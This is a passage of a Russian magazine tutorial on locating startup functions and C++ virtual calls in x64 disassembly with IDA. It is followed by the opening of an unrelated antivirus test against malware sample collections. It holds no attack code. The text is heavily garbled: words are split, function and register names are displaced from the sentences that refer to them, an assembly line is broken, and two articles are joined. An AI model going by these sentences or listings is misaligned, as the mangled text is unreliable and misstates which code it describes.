. В нем содер жится код для ини циали зации ASCII‐вер сий кон соль‐ 
ных (main) при ложе ний. В этой же пап ке лежат еще нес коль ко фай лов:

\VC\crt\src\vcruntime\mcr‐
texe.cpp

 — код из это го фай ла исполь зует ся при стар те  кон соль‐ 
ных при ложе ний с Unicode‐сим волами;

• mwcrtexe.cpp

  —  вызыва ется  при  запус ке  Windows‐при ложе ний  (Win‐
Main) с под дер жкой ASCII;

• mcrtexew.cpp

 — слу жит для запус ка Windows‐при ложе ний с Юни кодом.• mwcrtexew.cpp

Пос ле  выпол нения  весь ма неболь шого бло ка  кода  управле ние из  трех пос‐ 
ледних  фай лов  переда ется  в  пер вый.  У  Embarcadero  C++  Builder  10.3  (в
девичес тве  Borland C++)  все фай лы  со  startup‐кодом  хра нят ся  в  отдель ной
одно имен ной  дирек тории.  В  час тнос ти,  фай лы,  содер жащие  стар товый  код
для  Windows‐при ложе ний,  находят ся  в  пап ке 

. Ее содер жимое нес коль ко похоже на   тем, что име ется
глав ный файл для запус ка Win32‐при ложе ний —  . Код из это го фай‐ 
ла  вызыва ют  дру гие  фай лы,  содер жащие  ини циали зации  для  под систем
на Win32: DLL, VCL, FMX (при ложе ние FireMonkey, кросс‐плат формен ная гра‐ 
фичес кая  под систе ма).  Если  разоб рать ся  с  исходны ми  тек ста ми,  понять
дизас сем бли рован ный лис тинг будет нам ного лег че!

\source\cpprtl\Source\
startup\ vcruntime

c0nt.asm

Embarcadero C++Builder. Начиная с этой вер сии у дан ной сис темы прог ‐
рамми рова ния появи лась Community‐редак ция, которую мож но халяв но
исполь зовать целый год

А  как  быть,  если  для  ком пиляции  иссле дуемой  прог раммы  исполь зовал ся
неиз вес тный  или  недос тупный  тебе  ком пилятор?  Преж де  чем  прис тупать
к  уто митель ному  руч ному  ана лизу,  давай  вспом ним,  какой  про тотип  име ет
фун кция WinMain:

int APIENTRY wWinMain(
   _In_ HINSTANCE     hInstance,     // Handle to current instance
   _In_opt_ HINSTANCE hPrevInstance, // Handle to previous instance
   _In_ LPWSTR        lpCmdLine,     // Pointer to command line
   _In_ int           nCmdShow)      // Show state of window

Об рати вни мание:    замеща ет  . Во‐пер вых,  четыре аргу мен‐ 
та —  это  дос таточ но мно го,  и  в  боль шинс тве  слу чаев   ока зыва ется
самой  «богатой»  на  аргу мен ты  фун кци ей  стар тового  кода.  Во‐вто рых,  пос‐ 
ледний заноси мый в стек аргу мент —   — чаще все го вычис ляет ся
на лету вызовом фун кции  . То есть, если встре тишь конс‐ 
трук цию  типа  ,  мож но  с  высокой  сте пенью  уве рен‐ 
ности  утвер ждать,  что  сле дующая  фун кция  и  есть  .  Наконец,  вызов

 обыч но рас положен прак тичес ки в самом кон це кода стар товой фун‐ 
кции. За ней быва ет не более двух‐трех «замыка ющих» строй фун кций, нап‐ 
ример  .

APIENTRY WINAPI
WinMain

hInstance
GetModuleHandleW

CALL GetModuleHandleW
WinMain

WinMain

__cexit

Ком пилили, ком пилим и будем ком пилить!
До сего момен та мы ком пилили наши при меры из коман дной стро ки:

cl.exe <имя файла>.cpp /EHcs

В  резуль тате  мы  получа ли  стро гий,  очи щен ный  от  мишуры  машин ный  код,
пос ле  дизас сем бли рова ния  которо го  в  ассем блер ном  лис тинге  отсутс тво‐ 
вали какие бы то ни было ком мента рии и внят ные наз вания фун кций. Теперь
мы  будем  стро ить  наши  при ложе ния  пря миком  из  сре ды  раз работ ки  (это
по‐преж нему Visual Studio 2017), что бы при ана лизе кода исполь зовать средс‐ 
тва, пре дос тавля емые самим ком пилято ром. Мы уже дос таточ но поуп ражня‐ 
лись и базовые конс трук ции язы ка высоко го уров ня можем опре делять с зак‐ 
рытыми гла зами: на ощупь и по запаху!

Что бы пов торить сле дующий при мер, в Visual Studio 2017 на C++ соз дай Win‐
dows  Desktop  Application,  ском пилируй  при ложе ние  для  плат формы  x64,
а затем ито говый экзешник открой в IDA. Рас смот рим получив ший ся код пов‐ 
ниматель нее.

Пер вое, на что сто ит обра тить вни мание, — это отли чие от 32‐раз рядной
плат формы:  здесь  парамет ры  переда ются  не  через  стек,  а  через  регис тры
про цес сора.  Рань ше  на  плат форме  x86  в  вызыва ющем  коде  парамет ры
затал кивались в стек с помощью инс трук ции  , а в вызыва емой про цеду ре
извле кались из  него инс трук цией  . При  затал кивании  парамет ров  в  стек
неиз бежно  при ходит ся  обра щать ся  по  адре сам  памяти.  А  мы  уже  креп ко
усво или, что обра щение по адре сам памяти, отсутс тву ющим в кеше про цес‐ 
сора, занима ет несо изме римо боль ше вре мени.

PUSH
POP

Од нако  через  регис тры  переда ются  толь ко  пер вые  четыре  аргу мен та:
целочис ленные через  ,  ,  ,  ,  зна чения  с  пла вающей  точ кой  через

,  ,  ,  . Если же парамет ров боль ше (а это доволь но ред кий
слу чай), то они так же, как и рань ше, переда ются через стек.

RCX RDX R8 R9
XMM0 XMM1 XMM2 XMM3

В ком мента риях IDA дала аргу мен там осмыслен ные име на:

.text:000000014000150A  mov   r8, rax            ; lpCmdLine

.text:000000014000150D  mov   r9d, ebx           ; nCmdShow

.text:0000000140001510  xor   edx, edx           ; hPrevInstance

.text:0000000140001512  lea   rcx, cs:140000000h ; hInstance

.text:0000000140001519  call  wWinMain

.text:000000014000151E  mov   ebx, eax

.text:0000000140001520  call  __scrt_is_managed_app

.text:0000000140001525  test  al, al

.text:0000000140001527  jz    short loc_140001579

.text:0000000140001529  test  dil, dil

.text:000000014000152C  jnz   short loc_140001533

.text:000000014000152E  call  _cexit_0           ; Завершение 
приложения

Но как понять, что находит ся по адре су  ?  IDA в ком мента рии
говорит, что там дол жен быть аргу мент  :

cs:140000000h
hInstance

lea rcx, cs:140000000h ; hInstance.

Ас сем блер ная  коман да    поз воля ет  получить  текущий  адрес  источни ка
(вто рой  опе ранд).  Зна чит,  получе ние    дол жно  выпол нять ся  через
кос венный вызов фун кции  .

lea
hInstance

GetModuleHandleW
Ес ли  опус тить  взгляд  на  пару  стро чек  ниже  вызова  ,  мы  уви дим

вызов  ,  вой дя  в  который  обна ружим  вызов  нуж ной
фун кции:

WinMain
__scrt_is_managed_app

.text:0000000140001C88  sub   rsp, 28h

.text:0000000140001C8C  xor   ecx, ecx           ; lpModuleName

.text:0000000140001C8E  call  cs:__imp_GetModuleHandleW

И уже пос ледняя воз вра щает дес крип тор модуля. Но не всег да это выг лядит
столь  же  прос то.  Мно гие  раз работ чики,  поль зуясь  наличи ем  исходных  тек‐ 
стов startup‐кода, модифи циру ют его (под час весь ма зна читель но). В резуль‐ 
тате выпол нение прог раммы может начинать ся не с  , а с любой дру‐ 
гой фун кции. К тому же теперь стар товый код может содер жать кри тичес кие
для  понима ния  алго рит ма  опе рации  (нап ример,  рас шифров щик  основно го
кода)! Поэто му всег да хотя бы мель ком сле дует изу чить startup‐код: не содер‐ 
жит ли он чего‐нибудь необыч ного?

WinMain

Ана логич ным обра зом обсто ят дела и с динами чес кими биб лиоте ками —
их выпол нение начина ется вов се не с фун кции    (если она,  конеч но,
вооб ще при сутс тву ет в DLL), а по умол чанию с  . Впро‐ 
чем, раз работ чики под час изме няют  умол чания,  наз начая  клю чом    ту
стар товую фун кцию, которая им нуж на.

DllMain
__DllMainCRTStartup

/ENTRY

Стро го  говоря, неп равиль но называть    стар товой фун кци ей. Она
вызыва ется не  толь ко при  заг рузке DLL,  но и  при  выг рузке,  и  при соз дании
либо унич тожении нового потока под клю чив шим ее про цес сом.

DllMain

По лучая  уве дом ления  об  этих  событи ях,  раз работ чик  может  пред при‐ 
нимать некото рые дей ствия  (нап ример, под готав ливать код к работе в мно‐ 
гопо точ ной  сре де).  Весь ма  акту ален  воп рос:  име ет  ли  все  это  зна чение
для  ана лиза  прог раммы?  Ведь  чаще  все го  тре бует ся  про ана лизи ровать
не всю динами чес кую биб лиоте ку целиком, а иссле довать работу некото рых
экспор тиру емых ею фун кций.

Ес ли    выпол няет  какие‐то  дей ствия  (ска жем,  ини циали зиру ет
перемен ные),  то осталь ные фун кции, на которые рас простра няет ся вли яние
этих перемен ных, будут содер жать пря мые ссыл ки на них, ведущие к  .
Таким обра зом, не сто ит «вруч ную» искать   — она сама себя обна‐ 
ружит!

DllMain

DllMain
DllMain

Хо рошо,  если бы всег да  это было  так! Но жизнь  слож нее  вся ких  пра вил.
Вдруг в   находит ся некий дес трук тивный код или биб лиоте ка в допол‐ 
нение  к основной сво ей деятель нос ти шпи онит  за потока ми, отсле живая их
появ ление? Тог да без непос редс твен ного ана лиза ее кода не обой тись.

DllMain

Об наружить   на порядок труд нее, чем  . Если ее не най дет
IDA  —  пиши  про пало.  Во‐пер вых,  про тотип    дос таточ но  незамыс‐ 
ловат и не содер жит ничего харак терно го:

DllMain WinMain
DllMain

BOOL APIENTRY DllMain(
   HMODULE hModule,            // Handle to DLL module
   DWORD   ul_reason_for_call, // Reason for calling function
   LPVOID  lpReserved          // Reserved
)

А во‐вто рых, ее вызов идет из самой гущи доволь но вну шитель ной фун кции
,  так  что  най ти  имен но  тот  ,  который  нам  нужен,

нет  никакой  воз можнос ти. Впро чем,  некото рые  зацеп ки  все‐таки есть. Нап‐ 
ример,  при  неудач ной  ини циали зации    воз вра щает  ,  и  код

  обя затель но  про верит  это  зна чение,  в  слу чае  чего
пры гая  аж  к  кон цу фун кции. Подоб ных  вет вле ний  в  теле  стар товой фун кции
не так уж мно го, и обыч но толь ко одно из них свя зано с фун кци ей, при нима‐ 
ющей три аргу мен та.

__DllMainCRTStartup CALL

DllMain FALSE
__DllMainCRTStartup

Для  про веде ния  сле дующе го  экспе римен та  в  Visual  Studio  2017  соз дай
прос тую  динами чес кую  биб лиоте ку  и  откомпи лируй  ее  релиз ную  вер сию
под  плат форму  x64.  Затем  заг рузи  ее  в  IDA.  Сле дующий  лис тинг  приз ван
показать иден тифика цию   по коду неудач ной ини циали зации:DllMain

.text:000000018000131B  mov   r8, rsi         ; lpvReserved

.text:000000018000131E  mov   edx, edi        ; fdwReason

.text:0000000180001320  mov   rcx, r14        ; hinstDLL

.text:0000000180001323  call  DllMain

.text:0000000180001328  mov   ebx, eax

.text:000000018000132A  mov    rsp+58h+var_28], eax

.text:000000018000132E  test  eax, eax

.text:0000000180001330  jz    short loc_18000135B

.text:0000000180001332  mov   rax, cs:_pRawDllMain

.text:0000000180001339  test  rax, rax

.text:000000018000133C  jnz   short loc_180001347

Ввер ху  при веден ного лис тинга  вид но,  что регис тры  ,    и    содер жат
,   и   соот ветс твен но. И как вид но, аргу мен ты

переда ются  не  через  стек,  а  с  помощью  регис тров.  Зна чит,  перед  нами
и  есть  фун кция    (исходный  текст    содер жится
в  фай ле  ,  который  нас тоятель но
рекомен дует ся изу чить).

R8 EDX RCX
IpvReserved fdwReason hinstDLL

DllMain _DllMainCRTStartup
\VC\crt\src\vcruntime\dll_dllmain.cpp

КОНСОЛЬНЫЕ ПРИЛОЖЕНИЯ
На конец, мы доб рались и до фун кции   кон соль ных при ложе ний. Как всег‐ 
да, выпол нение прог раммы начина ется не с нее, а c фун кции 
, ини циали зиру ющей кучу, сис тему вво да‐вывода, под готав лива ющую аргу‐ 

мен ты коман дной стро ки и толь ко потом переда ющей управле ние  . Фун‐ 
кция    при нима ет  все го  два  аргу мен та: 

 — это го слиш ком мало, что бы выделить ее сре ди осталь ных. Одна ко
на помощь при ходит тот факт, что клю чи коман дной стро ки дос тупны не толь‐ 
ко через аргу мен ты, но и через гло баль ные перемен ные —   и   соот‐ 
ветс твен но. Поэто му вызов   обыч но выг лядит так:

main
mainCRTStart‐

up
main

main int  main  (int  argc,  char 
**argv)

argc argv
main

.text:0000000140001462  call  __p___argv_0

.text:0000000140001467  mov   rdi, [rax]

.text:000000014000146A  call  __p___argc_0

.text:000000014000146F  mov   rbx, rax

.text:0000000140001472  call  _get_initial_narrow_environment_0

.text:0000000140001477  mov   r8, rax

.text:000000014000147A  mov   rdx, rdi

.text:000000014000147D  mov   ecx, [rbx]

.text:000000014000147F  call  main

.text:0000000140001484  mov   ebx, eax

.text:0000000140001486  call  __scrt_is_managed_app

.text:000000014000148B  test  al, al

.text:000000014000148D  jz    short loc_1400014E4

.text:000000014000148F  test  sil, sil

.text:0000000140001492  jnz   short loc_140001499

.text:0000000140001494  call  _cexit_0

Что бы  пов торить  экспе римент,  в  VS  2017  соз дай  и  ском пилируй  64‐бит ное
кон соль ное при ложе ние, затем открой его в IDA.

Пер вым  делом  забира ем  два  парамет ра  из  коман дной  стро ки,  выз вав
фун кции    и  .  Далее  их  зна чения  раз меща ются
в регис трах про цес сора и таким обра зом переда ются в фун кцию  . Опять
же, отли чие от 32‐бит ной сре ды в том, что в ней они запихи вались в стек.

__p___argv_0 __p___argc_0
main

Пос ле  того  как    отра бота ет,  ана лизи рует ся  воз вра щен ное  ей  зна‐ 
чение,  на  осно вании  чего  выпол няют ся  прыж ки  на  соот ветс тву ющие  вет ви
кода.  Нап ример,    может  отра ботать  по‐раз ному  и  в  слу чае  воз вра та
ошиб ки при ложе ние, как вари ант, надо унич тожить. Если же все идет по пла‐ 
ну, то вызыва ется   и все доволь ны.

main

main

_cexit_0
Вот мы и разоб рались с иден тифика цией основных типов стар товых фун‐ 

кций. Конеч но, в жиз ни все быва ет не  так прос то,  как в  теории, но в любом
слу чае опи сан ные выше при емы замет но упростят ана лиз.

Продолжение статьи →
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ИДЕНТИФИКАЦИЯ ВИРТУАЛЬНЫХ ФУНКЦИЙ
Вир туаль ная  фун кция  озна чает  «опре деля емая  во  вре мя  выпол нения  прог‐ 
раммы».  При  вызове  вир туаль ной  фун кции  выпол няемый  код  дол жен  соот‐ 
ветс тво вать  динами чес кому  типу  объ екта,  из  которо го  вызыва ется фун кция.
Поэто му  адрес  вир туаль ной  фун кции  не  может  быть  опре делен  на  ста дии
ком пиляции,  это  при ходит ся  делать  непос редс твен но  в  момент  ее  вызова.
Вот почему вызов вир туаль ной фун кции всег да кос венный (исклю чение сос‐ 
тавля ют лишь вир туаль ные фун кции ста тичес ких объ ектов).

В  то  вре мя  как  невир туаль ные  фун кции  вызыва ются  в  точ ности  так  же,
как и обыч ные С‐фун кции, вызов вир туаль ных фун кций кар диналь но отли чает‐ 
ся.  Схе ма  вызова  зависит  от  реали зации  кон крет ного  ком пилято ра,  но  в
общем слу чае ссыл ки на все вир туаль ные фун кции помеща ются в спе циаль‐ 
ный мас сив — вир туаль ную таб лицу (virtual table, сок ращен но VTBL). А в каж‐ 
дый  экзем пляр  объ екта,  исполь зующий  хотя  бы  одну  вир туаль ную фун кцию,
помеща ется  ука затель  на  вир туаль ную  таб лицу  (virtual  table  pointer  —  сок‐ 
ращен но  VPTR).  При чем  незави симо  от  чис ла  вир туаль ных фун кций  каж дый
объ ект име ет толь ко один ука затель.

Вы зов  вир туаль ных  фун кций  всег да  про исхо дит  кос венно,  через  ссыл ку
на  вир туаль ную  таб лицу,  нап ример:  ,  где    —  регистр,
содер жащий сме щение вир туаль ной таб лицы в памяти, а   — сме щение
ука зате ля на вир туаль ную фун кцию внут ри вир туаль ной таб лицы.

CALL  [RBX+0x10] RBX
0x10

Ана лиз  вызова  вир туаль ных  фун кций  натал кива ется  на  ряд  слож ностей,
самая  ковар ная  из  которых  —  необ ходимость  обратной  трас сиров ки  кода
для  отсле жива ния  зна чения  регис тра,  исполь зуемо го  для  кос венной  адре‐ 
сации.  Хорошо,  если  он  ини циали зиру ется  непос редс твен ным  зна чени ем
типа  ,   недале ко от мес та исполь зования, но зна читель‐ 
но  чаще  ука затель  на  VTBL  переда ется  фун кции  как  неяв ный  аргу мент.
Или (что еще хуже) один и тот же ука затель исполь зует ся для вызова двух раз‐ 
личных  вир туаль ных  фун кций.  Тог да  воз ника ет  неоп ределен ность,  какое
имен но зна чение он име ет в дан ной вет ке прог раммы. 

MOV RBX offset VTBL

Раз берем сле дующий при мер (пред варитель но вспом нив, что, если одна
и та же «невир туаль ная» фун кция при сутс тву ет и в базовом, и в про изводном
клас се, всег да вызыва ется фун кция базово го клас са):

#include <stdio.h>
class Base{
   public:

   virtual void demo(void){
       printf("BASE\n");
   };

   virtual void demo_2(void){
       printf("BASE DEMO 2\n");
   };

   void demo_3(void){
       printf("Non virtual BASE DEMO 3\n");
   };
};

class Derived: public Base{
   public:

   virtual void demo(void){
       printf("DERIVED\n");
   };

   virtual void demo_2(void){
       printf("DERIVED DEMO 2\n");
   };

   void demo_3(void){
       printf("Non virtual DERIVED DEMO 3\n");
   };
};

int main(){
   printf("main\n");

   Base *p = new Base;
   p‐>demo();
   p‐>demo_2();
   p‐>demo_3();

   p = new Derived;
   p‐>demo();
   p‐>demo_2();
   p‐>demo_3();
}

Ре зуль тат ком пиляции при мера в общем слу чае дол жен выг лядеть так:

; int __fastcall main()
main proc near       ; CODE XREF: __scrt_common_main_seh+107↓p
   push  rbx
   sub   rsp, 20h
   lea   rcx, aMain ; "main\n"
   call  printf
   mov   ecx, 8     ; size
   call  operator new(unsigned __int64)

В    воз вра щает ся  ука затель  на  выделен ный  блок  памяти.  Выделя ем
восемь байт памяти для экзем пля ра нового объ екта. Объ ект сос тоит толь ко
из  ука зате ля  на  VTBL.  Обра ти  вни мание,  что  в  подав ляющем  боль шинс тве
слу чаев воз вра щаемое зна чение фун кции помеща ется в регистр  .

RAX

RAX

mov  rbx, rax
lea  rax, const Base::`vftable'

В толь ко что соз данный объ ект копиру ется ука затель на вир туаль ную таб лицу
клас са  .  То,  что  это  имен но  вир туаль ная  таб лица  клас са  ,  мож но
узнать, про ана лизи ровав эле мен ты этой таб лицы, — они ука зыва ют на чле ны
клас са  . Сле дова тель но,  сама  таб лица  есть  вир туаль ная  таб лица  это го
клас са.

Base Base

Base

mov  rcx, rbx ; this

За носим  в    ука затель  на  экзем пляр  объ екта  (ука затель  на  ука затель
на BASE_VTBL). Дру гими  сло вами,  переда ем  вызыва емой фун кции  неяв ный
аргу мент  —  ука затель    (к  сло ву,  пос коль ку    счи тает ся  целочис‐ 
ленным аргу мен том, он всег да помеща ется в регистр  ).

RCX

this this
RCX

mov  [rbx], rax

По  адре су,  на  который  ука зыва ет  ,  помеща ем  ука затель  на  вир туаль ную
таб лицу клас са  , не забывая о том, что ука затель на вир туаль ную таб лицу
одновре мен но  ука затель и на пер вый эле мент этой  таб лицы. А пер вый эле‐ 
мент  вир туаль ной  таб лицы  содер жит  ука затель  на  пер вую  (в  поряд ке  объ‐ 
явле ния) вир туаль ную фун кцию клас са.

RBX
Base

call  cs:const Base::`vftable' ; Base::demo(void) ...

Вот  он,  вызов  вир туаль ной  фун кции!  Что бы  понять,  какая  имен но  фун кция
вызыва ется,  мы  дол жны  знать  зна чение  регис тра  .  Прок ручивая  экран
дизас сем бле ра вверх, мы видим:    ука зыва ет на 

,  а  пер вый  член    (см.  ниже)  ука зыва ет  на  фун кцию
. Сле дова тель но:

RAX
RAX BASE_VTBL ‐ ‐  Base:: 

'vftable' BASE_VTBL
Base::demo
1. этот код вызыва ет имен но фун кцию  ;Base::demo

2. фун кция   — это вир туаль ная фун кция.Base::demo

mov  rdx, [rbx]

За носим  в    ука затель  на  пер вый  эле мент  вир туаль ной  таб лицы  клас са
.

RDX
Base

mov  rcx, rbx

За носим в    ука затель на экзем пляр объ екта:  это неяв ный аргу мент фун‐ 
кции — ука затель  .

RCX
this

call  qword ptr [rdx+8]

Еще один вызов вир туаль ной фун кции! Что бы понять, какая имен но фун кция
вызыва ется, мы дол жны знать содер жимое регис тра RDX. Прок ручивая экран
дизас сем бле ра вверх, видим, что он ука зыва ет на  , а  , ста ло
быть, ука зыва ет на вто рой эле мент вир туаль ной таб лицы клас са  . Он же,
в свою оче редь, ука зыва ет на фун кцию  .

BASE_VTBL RDX+8
Base

Base::demo_2

lea   rcx, aNonVirtualBase ; "Non virtual BASE DEMO 3\n"
call  printf

А вот вызов невир туаль ной фун кции. Обра ти вни мание — он про исхо дит так
же,  как  вызов  обыч ной  С‐фун кции.  Заметь,  эта  фун кция  встро енная,  так
как объ явле на непос редс твен но в самом клас се и вмес то ее вызова выпол‐ 
няет ся под ста нов ка кода.

mov   ecx, 8 ; size
call  operator new(unsigned __int64)

Да лее  идет  вызов  фун кций  клас са  .  Не  будем  здесь  под робно  его
ком менти ровать,  сде лай  это  самос тоятель но.  Вооб ще  же,  класс 
понадо бил ся толь ко для того, что бы показать осо бен ности ком понов ки вир‐ 
туаль ных таб лиц.

Derived
Derived

mov   rbx, rax
   lea   rax, const Derived::`vftable'
   mov   rcx, rbx             ; this
   mov   [rbx], rax
   call  cs:const Derived::`vftable'
   mov   rdx, [rbx]
   mov   rcx, rbx
   call  qword ptr [rdx+8]
   lea   rcx, aNonVirtualBase ; "Non virtual BASE DEMO 3\n"
   call  printf
   ; Обрати внимание — вызывается функция demo_3 базового,
   ; а не производного класса!
   xor   eax, eax
   add   rsp, 20h
   pop   rbx
   retn
main endp

Иска жен ные име на
Ес ли у тебя в окне дизас сем бле ра име на фун кций выг лядят нем ного неожи‐ 
дан но (с при месью зна ков воп роса и ком мерчес кого at —  , ) и это дос тавля‐ 
ет  дис комфорт,  можешь  отклю чить  заман гли вание  (кром сание)  имен.
Для это го в  IDA открой окно    (

), пос тавь перек лючатель на пункт   и жми  . Пос ле этой нехит‐ 
рой опе рации име на фун кций при мут при выч ный вид.

? @

Demangled C++ names Options →  Demangled 
names… Names OK

Ок но для отклю чения заман гли вания

Вот как выг лядят наши фун кции:

; void __fastcall Base::demo(Base *this)
public: virtual void Base::demo(void) proc near
   lea  rcx, _Format       ; "BASE\n"
   jmp  printf
public: virtual void Base::demo(void) endp

; void __fastcall Base::demo_2(Base *this)
public: virtual void Base::demo_2(void) proc near
   lea  rcx, aBaseDemo2    ; "BASE DEMO 2\n"
   jmp  printf
public: virtual void Base::demo_2(void) endp

; void __fastcall Derived::demo(Derived *this)
public: virtual void Derived::demo(void) proc near
   lea  rcx, aDerived      ; "DERIVED\n"
   jmp  printf
public: virtual void Derived::demo(void) endp

; void __fastcall Derived::demo_2(Derived *this)
public: virtual void Derived::demo_2(void) proc near
   lea  rcx, aDerivedDemo2 ; "DERIVED DEMO 2\n"
   jmp  printf
public: virtual void Derived::demo_2(void) endp

Таб лицы вир туаль ных методов:

dq offset const Derived::`RTTI Complete Object Locator'
; void (__fastcall *const Derived::`vftable'[3])()
const Derived::`vftable' dq offset Derived::demo(void)
dq offset Derived::demo_2(void)

dq offset const Base::`RTTI Complete Object Locator'
; void (__fastcall *const Base::`vftable'[3])()
const Base::`vftable' dq offset Base::demo(void)
dq offset Base::demo_2(void)

Об рати вни мание: вир туаль ные таб лицы «рас тут» сни зу вверх в поряд ке объ‐ 
явле ния клас сов в прог рамме, а эле мен ты вир туаль ных таб лиц «рас тут» свер‐ 
ху  вниз  в  поряд ке  объ явле ния  вир туаль ных  фун кций  в  клас се.  Конеч но,  так
быва ет не всег да. Порядок раз мещения таб лиц и их эле мен тов ниг де не дек‐ 
лариро ван и целиком лежит на «совес ти» ком пилято ра. Но на прак тике боль‐ 
шинс тво из них  ведет себя имен но  так. Сами же вир туаль ные фун кции рас‐ 
полага ются вплот ную друг к дру гу в поряд ке их объ явле ния.

Visual Studio 2017

ИТОГИ
Мы толь ко начали вни кать в устрой ство вир туаль ных фун кций на C++. На этом
пути  нас  ждет  еще  мно го  кры шес рыва ющих  зиг загов  и  умо пом рачитель ных
момен тов! Мы про дол жим раз бирать ся с ними в сле дующей статье.

Так же мы доб рались до  того момен та,  ког да меж ду  x86 и  x64 обра зова‐ 
лась ощу тимая про пасть. Мы уже прош ли этап, на котором было удоб но раз‐ 
бирать ся  с  кодом  для  32‐раз рядной  плат формы  толь ко  потому,  что  в  нем
короче адре са в дизас сем блер ном лис тинге. Даль ше (как и в этой статье) код
будет  более  плат формен но  ори енти рован ным,  сле дова тель но,  вычис ления
ста нут  слож нее.  Одна ко,  как  мы  убе дим ся  в  даль нейшем,  архи тек тура
Win64  навела  порядок  сре ди  хаоса,  допущен ного  во  вре мя  перехо да
с Win16 на Win32.
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ВЗЛОМ

Мы про верим в бою два бри тан ских аве ра,
новый  китай ский  анти вирь  с  собс твен ным
движ ком  и  занят ную  чеш скую  раз работ ку
в  ста дии  бета‐вер сии.  Все  они  дос тупны
бес плат но  и  пред лага ют  допол нитель ные
уров ни  защиты,  помимо базовой про вер ки
сис темы. Смо гут ли эти анти виру сы одо леть
пол чища тро янов и чер вей, которые мы им
при гото вили?

На ши тес ты дру гих анти виру сов
1. Kaspersky Free, Avira Free, AVG Free и Avast! Free
2. Comodo, Qihoo 360, Panda и Windows Defender
3. Clam Sentinel, FortiClient, Tencent и NANO Анти вирус
4. Ad‐Aware, Crystal Security, Sophos Home и ZoneAlarm + Firewall
5. Anvi Smart Defender Free, Baidu Antivirus, Immunet AntiVirus и Zillya!
6. Bitdefender, Clearsight, Rising, Roboscan
7. F‐Secure  Anti‐Virus,  G  Data  AntiVirus,  eScan  Anti‐Virus,  Webroot
SecureAnywhere

8. Kaspersky Total Security, Dr.Web Security Space, Norton Security Premium, K7
Ultimate Security

МЕТОДИКА ТЕСТИРОВАНИЯ
Для  про вер ки  каж дого  анти виру са  мы  обес печили  мак сималь но  сход ные
усло вия. Сна чала в VirtualBox соз дали  тес товую вир туал ку с  чис той Windows
10  Pro  (1909).  Потом  уста нови ли  все  обновле ния  (кро ме  проб лемных),  нас‐ 
тро или  авто мати чес кий  вход  и  авто под клю чение  сетевой  пап ки,  отклю чили
«Защит ник Windows» и анти вирус основной ОС.

За тем мы сде лали кло ны вир туаль ной машины — свой для каж дого аве ра.
Непос редс твен но перед тес том анти виру сы обновля лись. Их нас трой ки оста‐ 
вались в дефол тных, пос коль ку имен но так их и будет запус кать боль шинс тво
поль зовате лей. Исклю чения были сде ланы толь ко в сто рону повыше ния веро‐ 
ятности  детек та. Мы  убе дились,  что  вклю чена  защита  в  реаль ном  вре мени,
а так же отклю чили лимит для фай лов по раз меру и рас ширению, что бы гаран‐ 
тирован но про веря лись все под ряд.

INFO

Ав тор бла года рит VX Heaven за пре дос тавлен ные
образцы.

Крат кое опи сание тес товых наборов со злов редами всех мас тей при веде но
ниже.

Ос новная часть:

100 бэк доров для Windows;•
100 сетевых чер вей (IM, IRC, email, P2P и дру гие);•
100  тро янов  для  Windows  (бан керы,  кли керы,  даун лоаде ры,  дроп перы
и про чее);

•

100 ком понен тов навяз чивой рек ламы.•

До пол нитель ная часть:

100 бэк доров для Linux;•
37 рут китов для Windows;•
87  злов редов,  для  которых  на  момент  сос тавле ния  под борки  отсутс тво‐ 
вали  сиг натуры.  Они  опре деля лись  толь ко  некото рыми  эвристи чес кими
ана лиза тора ми;

•

49 при меров вре донос ного кода для про цес сорных архи тек тур, отличных
от x86 (MIPS, Motorola MC68K, SPARC, PowerPC).

•

Ба зовая часть под борки нуж на для про вер ки реак ции анти виру са на типовые
угро зы для Windows, а вспо мога тель ная поз воля ет оце нить уро вень эвристи‐ 
ки и кросс‐плат формен ной защиты.

WARNING

Все  тес ты  выпол нялись  толь ко  в  иссле дова тель‐ 
ских целях. Необ ходимые фай лы были заг ружены
с  обще дос тупных  ресур сов.  Раз работ чики  про‐ 
тес тирован ных  анти виру сов  получи ли  авто мати‐ 
чес кие уве дом ления о резуль татах ска ниро вания.
Редак ция  и  автор  не  несут  ответс твен ности
за любой воз можный вред.

HUORONG INTERNET SECURITY
Ки тай ских анти виру сов рас пло дилась уйма, одна ко раз работ чик 

  был  аккре дито ван Microsoft  как  доверен ный  пос тавщик  анти вирус ного
соф та для Windows и хотя бы этим зас лужил вни мание.

Huorong Se‐
curity

С  офи циаль ного  сай та  была    вер сия  5.0.37.6  от  16  нояб‐ 
ря  2019  года  раз мером  18,5 Мбайт.  В  ней  заяв лена  пол ная  под дер жка  32‐
и 64‐бит ных вер сий Windows от XP до 10. К сожале нию, под дер жки рус ско го
язы ка пока нет.

заг ружена

Huorong Internet Security — глав ное окно и выбор язы ка

Пос ле  уста нов ки  Huorong  Internet  Security  обно вил ся  до  вер сии  5.0.39.2.
Анти вирус  занял  око ло  40 Мбайт  на  дис ке  и  сла бо  наг ружал  сис тему  даже
при акти вации всех допол нитель ных ком понен тов защиты.

Они вклю чают в себя про активный модуль, ана лиза тор веб‐тра фика, сис‐ 
тему обна руже ния втор жений на хос те (HIPS) и фай рвол. Два пос ледних сни‐ 
жают  риск  добав ления  компь юте ра  в  бот нет  и  рас простра нения  заразы
по локаль ной сети, бло кируя ано маль ный тра фик в любом нап равле нии.

Huorong — нас трой ки анти виру са и допол нитель ных ком понен тов

Еще  один  акту аль ный  ком понент —  защита  от  рас простра нен ных  спо собов
несан кци они рован ного  уда лен ного  дос тупа  (нап ример,  он  детек тит  и  бло‐ 
киру ет брут пароля админ ско го акка унта).

Так же  дос тупен  кон троль  дос тупа  при ложе ний  с  воз можностью  задать
свои пра вила для всех прог рамм и вспо мога тель ные инс тру мен ты безопас‐ 
ности. Сре ди них инте ресен модуль защиты от уяз вимос тей. Он пре пятс тву ет
при мене нию извес тных экс пло итов, что осо бен но акту аль но для про тиво дей‐ 
ствия APT и тар гетиро ван ным ата кам.

Huorong — набор встро енных ути лит для ана лиза и очис тки сис темы

Huorong  Internet  Security  исполь зует  собс твен ный  анти вирус ный  дви жок
под наз вани ем Cobra. Информа ции о нем най ти не уда лось. Извес тно лишь
то,  что  он  запус кает  про веря емый  код  в  изо лиро ван ной  сре де  HVM  (вир‐ 
туаль ной машине Huorong). Тем инте рес нее будет его испы тать!

Тес ты
Ан тивирус  Huorong  не  смог  про верить  ни  один  тес товый  каталог  в  сетевой
пап ке.  Он  прос то  зависал,  бес конеч но  кру тя  ани мацию  сияюще го  щита.
Никако го  инди като ра  прог ресса,  никакой  ста тис тики  —  вооб ще  ничего
информа тив ного при этом не выводи лось.

